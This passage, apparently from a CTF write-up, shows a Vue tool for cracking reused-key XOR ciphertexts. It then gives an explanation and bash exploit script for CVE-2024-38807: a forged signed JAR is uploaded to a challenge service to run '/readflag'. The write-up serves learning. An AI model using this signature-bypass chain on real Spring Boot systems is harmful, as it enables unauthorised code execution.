<span><span style="color: #403F53">          </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">newChar</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">prompt</span><span style="color: #403F53">(</span><span style="color: #403F53">`</span><span style="color: #4876D6">Change &#39;</span><span style="color: #D3423E">${</span><span style="color: #403F53">oldChar</span><span style="color: #D3423E">}</span><span style="color: #4876D6">&#39; to:</span><span style="color: #403F53">`</span><span style="color: #5F7E97">,</span><span style="color: #994CC3"> </span><span style="color: #403F53">oldChar)</span><span style="color: #994CC3">?.</span><span style="color: #403F53">[</span><span style="color: #AA0982">0</span><span style="color: #403F53">];</span></span>
<span><span style="color: #403F53">          </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (</span><span style="color: #994CC3">!</span><span style="color: #403F53">newChar) </span><span style="color: #994CC3">return</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">          </span><span style="color: #0C969B">key</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53">[p] </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> </span><span style="color: #0C969B">plaintexts</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53">[i][p]</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">) </span><span style="color: #994CC3">^</span><span style="color: #403F53"> </span><span style="color: #0C969B">newChar</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">        }</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">return</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          input,</span></span>
<span><span style="color: #403F53">          plaintexts,</span></span>
<span><span style="color: #403F53">          isAsciiPrintable,</span></span>
<span><span style="color: #403F53">          changeKey,</span></span>
<span><span style="color: #403F53">        }</span></span>
<span><span style="color: #403F53">      },</span></span>
<span><span style="color: #403F53">    })</span><span style="color: #994CC3">.</span><span style="color: #4876D6">mount</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">#app</span><span style="color: #111111">&#39;</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;/script&gt;</span></span>
<span><span style="color: #994CC3">&lt;/body&gt;</span></span>
<span></span>
<span><span style="color: #994CC3">&lt;/html&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;!</span><span style="color: #CAECE6">DOCTYPE</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">html</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">html</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">head</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">meta</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">charset</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">utf-8</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">title</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">Encrypted Chat Solver</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">title</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">script</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">src</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">https://unpkg.com/vue@3/dist/vue.global.prod.js</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">script</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">head</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">body</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">id</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">app</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">label</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">Input: </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">input</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-model</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">input</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">label</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">style</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">font-family: monospace; font-size: 1rem; white-space: pre;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-for</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">(plaintext, i) of plaintexts</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">:key</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">i</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">style</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">margin-top: 1rem; display: flex; gap: 1px;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-for</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">(c, p) in plaintext</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">:key</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">p</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">@click</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">changeKey(i, p, c)</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">style</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">padding: 1px; cursor: pointer;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">span</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-if</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">isAsciiPrintable(c)</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">{{ c }}</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">span</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">span</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-else</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">style</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">color: red;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">?</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">span</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">script</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">const {</span><span style="color: #82AAFF">createApp</span><span style="color: #C792EA">, </span><span style="color: #82AAFF">ref</span><span style="color: #C792EA">, </span><span style="color: #82AAFF">computed</span><span style="color: #C792EA">, </span><span style="color: #82AAFF">watch</span><span style="color: #C792EA">} = </span><span style="color: #D7DBE0">Vue</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">createApp</span><span style="color: #D6DEEB">({</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #82AAFF">setup</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">input</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">ref</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;&#39;</span><span style="color: #D6DEEB">);</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">bases</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">computed</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">()</span><span style="color: #C792EA"> =&gt; {</span></span>
<span><span style="color: #C792EA">          try {</span></span>
<span><span style="color: #C792EA">            return </span><span style="color: #82AAFF">JSON</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">parse</span><span style="color: #D6DEEB">(</span><span style="color: #7FDBCA">input</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">map</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">b64</span><span style="color: #D9F5DD">)</span><span style="color: #C792EA"> =&gt; </span><span style="color: #7FDBCA">Array</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">from</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">atob</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">b64</span><span style="color: #D6DEEB">)))</span><span style="color: #C792EA">;</span></span>
<span><span style="color: #C792EA">          } catch {</span></span>
<span><span style="color: #C792EA">            return</span><span style="color: #D6DEEB"> []</span><span style="color: #C792EA">;</span></span>
<span><span style="color: #C792EA">          }</span></span>
<span><span style="color: #C792EA">        }</span><span style="color: #D6DEEB">);</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">key</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">ref</span><span style="color: #D6DEEB">([]);</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">watch</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">bases</span><span style="color: #D6DEEB">, </span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">stream</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=&gt;</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #7FDBCA">key</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">new</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">Array</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">bases</span><span style="color: #D6DEEB">[</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">]</span><span style="color: #C792EA">?.</span><span style="color: #7FDBCA">length</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">fill</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">        });</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">plaintexts</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">computed</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">()</span><span style="color: #C792EA"> =&gt;</span></span>
<span><span style="color: #C792EA">          </span><span style="color: #7FDBCA">bases</span><span style="color: #C792EA">.</span><span style="color: #FAF39F">value</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">map</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">base</span><span style="color: #D9F5DD">)</span><span style="color: #C792EA"> =&gt; {</span></span>
<span><span style="color: #C792EA">            return </span><span style="color: #7FDBCA">base</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">map</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">c</span><span style="color: #C792EA">, </span><span style="color: #D7DBE0">i</span><span style="color: #D9F5DD">)</span><span style="color: #C792EA"> =&gt; </span><span style="color: #7FDBCA">String</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">fromCharCode</span><span style="color: #D6DEEB">(</span><span style="color: #7FDBCA">c</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA"> ^ </span><span style="color: #7FDBCA">key</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">[</span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB">]))</span><span style="color: #C792EA">;</span></span>
<span><span style="color: #C792EA">          }</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">        </span><span style="color: #D6DEEB">);</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">function</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">isAsciiPrintable</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">c</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">c</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&gt;=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">32</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&amp;&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">c</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">&lt;=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">126</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">function</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">changeKey</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">p</span><span style="color: #D6DEEB">, </span><span style="color: #D7DBE0">oldChar</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">newChar</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">prompt</span><span style="color: #D6DEEB">(</span><span style="color: #D6DEEB">`</span><span style="color: #ECC48D">Change &#39;</span><span style="color: #D3423E">${</span><span style="color: #D7DBE0">oldChar</span><span style="color: #D3423E">}</span><span style="color: #ECC48D">&#39; to:</span><span style="color: #D6DEEB">`</span><span style="color: #5F7E97">,</span><span style="color: #C792EA"> </span><span style="color: #D7DBE0">oldChar</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA">?.</span><span style="color: #D6DEEB">[</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">];</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (</span><span style="color: #C792EA">!</span><span style="color: #D7DBE0">newChar</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #7FDBCA">key</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">[</span><span style="color: #D7DBE0">p</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">^=</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">plaintexts</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">[</span><span style="color: #D7DBE0">i</span><span style="color: #D6DEEB">][</span><span style="color: #D7DBE0">p</span><span style="color: #D6DEEB">]</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">^</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">newChar</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">charCodeAt</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #D7DBE0">input</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #D7DBE0">plaintexts</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #D7DBE0">isAsciiPrintable</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #D7DBE0">changeKey</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span><span style="color: #D6DEEB">      },</span></span>
<span><span style="color: #D6DEEB">    })</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">mount</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">#app</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">script</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">body</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">html</span><span style="color: #7FDBCA">&gt;</span></span></code></pre></div></section>
<h2 id="verified-toolbox-1-solve" class="heading"><a href="#verified-toolbox-1-solve" class="heading-anchor" aria-label="章节： verified toolbox (1 solve)" tabindex="-1"></a><span>verified toolbox (1 solve)</span></h2>
<p>It uses Spring Boot 3.3.2, so it<span class="mojikumi-narrow-left">’</span>s <a href="https://spring.io/security/cve-2024-38807">CVE-2024-38807: Signature Forgery Vulnerability in Spring Boot<span class="mojikumi-narrow-left">’</span>s Loader</a><sup><a href="#user-content-fn-finder" id="user-content-fnref-finder" data-footnote-ref aria-describedby="footnote-label">4</a></sup>.</p>
<p>The vulnerability is that spring-boot-loader uses <code>JarInputStream</code> to verify the signatures but uses a custom <code>ZipContent</code> class to load the contents. They parse a ZIP file differently and may read different contents from a specially crafted JAR file. <code>JarInputStream</code> reads a JAR file from start to end, while <code>ZipContent</code> read the end of central directory record at the end first. We can construct a malicious JAR file by concatenating the bytes of two JAR files, and then adjust the offset fields in the central directory headers and the end of central directory record of the second JAR file. The signature verifier will read the first JAR file while the content loader will read the second.</p>
<p>You can also find <a href="https://github.com/spring-projects/spring-boot/commit/0b24ee857189e139f48826bf2aef10ae8680c11b">the commit that fixes this vulnerability</a> along with the <code>mismatched<wbr>.<wbr>jar</code> test case, and then create the malicious JAR file based on <code>mismatched<wbr>.<wbr>jar</code>.</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Shell 代码块" data-v-c675dba6>Shell</h3><ile-root id="ile-48"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-48--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #989FB1">#!/bin/bash</span></span>
<span></span>
<span><span style="color: #4876D6">set</span><span style="color: #403F53"> </span><span style="color: #4876D6">-euo</span><span style="color: #403F53"> </span><span style="color: #4876D6">pipefail</span></span>
<span></span>
<span><span style="color: #4876D6">url</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #403F53">$1</span><span style="color: #111111">&quot;</span></span>
<span></span>
<span><span style="color: #4876D6">javac</span><span style="color: #403F53"> </span><span style="color: #4876D6">Tool.java</span></span>
<span></span>
<span><span style="color: #4876D6">jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">cf</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">Tool.class</span></span>
<span></span>
<span><span style="color: #4876D6">rm</span><span style="color: #403F53"> </span><span style="color: #4876D6">-f</span><span style="color: #403F53"> </span><span style="color: #4876D6">keystore.jks</span></span>
<span></span>
<span><span style="color: #4876D6">keytool</span><span style="color: #403F53"> </span><span style="color: #4876D6">-genkeypair</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-alias</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-dname</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-keyalg</span><span style="color: #403F53"> </span><span style="color: #4876D6">DSA</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-keysize</span><span style="color: #403F53"> </span><span style="color: #AA0982">2048</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-validity</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-keystore</span><span style="color: #403F53"> </span><span style="color: #4876D6">keystore.jks</span><span style="color: #403F53"> </span><span style="color: #AA0982">\</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">-storepass</span><span style="color: #403F53"> </span><span style="color: #AA0982">133337</span></span>
<span></span>
<span><span style="color: #4876D6">jarsigner</span><span style="color: #403F53"> </span><span style="color: #4876D6">-keystore</span><span style="color: #403F53"> </span><span style="color: #4876D6">keystore.jks</span><span style="color: #403F53"> </span><span style="color: #4876D6">-storepass</span><span style="color: #403F53"> </span><span style="color: #AA0982">133337</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp</span></span>
<span></span>
<span><span style="color: #4876D6">curl</span><span style="color: #403F53"> </span><span style="color: #4876D6">-O</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;</span><span style="color: #4876D6">$url</span><span style="color: #C96765">/toolbox/greeting.jar</span><span style="color: #111111">&quot;</span></span>
<span><span style="color: #4876D6">jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">xf</span><span style="color: #403F53"> </span><span style="color: #4876D6">greeting.jar</span></span>
<span></span>
<span><span style="color: #4876D6">python</span><span style="color: #403F53"> </span><span style="color: #4876D6">exp.py</span></span>
<span></span>
<span><span style="color: #4876D6">jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">cf0</span><span style="color: #403F53"> </span><span style="color: #4876D6">nested.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">inner.jar</span></span>
<span></span>
<span><span style="color: #4876D6">curl</span><span style="color: #403F53"> </span><span style="color: #4876D6">-F</span><span style="color: #403F53"> </span><span style="color: #4876D6">file=@nested.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">-F</span><span style="color: #403F53"> </span><span style="color: #4876D6">path=inner.jar</span><span style="color: #403F53"> </span><span style="color: #4876D6">-F</span><span style="color: #403F53"> </span><span style="color: #4876D6">input=</span><span style="color: #111111">&#39;</span><span style="color: #C96765">/readflag give me the flag</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;</span><span style="color: #4876D6">$url</span><span style="color: #111111">&quot;</span><span style="color: #4876D6">/run</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #637777">#!/bin/bash</span></span>
<span></span>
<span><span style="color: #C5E478">set</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-euo</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">pipefail</span></span>
<span></span>
<span><span style="color: #C5E478">url</span><span style="color: #C792EA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D7DBE0">$1</span><span style="color: #D9F5DD">&quot;</span></span>
<span></span>
<span><span style="color: #82AAFF">javac</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">Tool.java</span></span>
<span></span>
<span><span style="color: #82AAFF">jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">cf</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp.jar</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">Tool.class</span></span>
<span></span>
<span><span style="color: #82AAFF">rm</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-f</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">keystore.jks</span></span>
<span></span>
<span><span style="color: #82AAFF">keytool</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">-genkeypair</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-alias</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">exp</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-dname</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">-keyalg</span><span style="color: #D6DEEB"> </span><span style="color: #ECC48D">DSA</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">\</span></span>
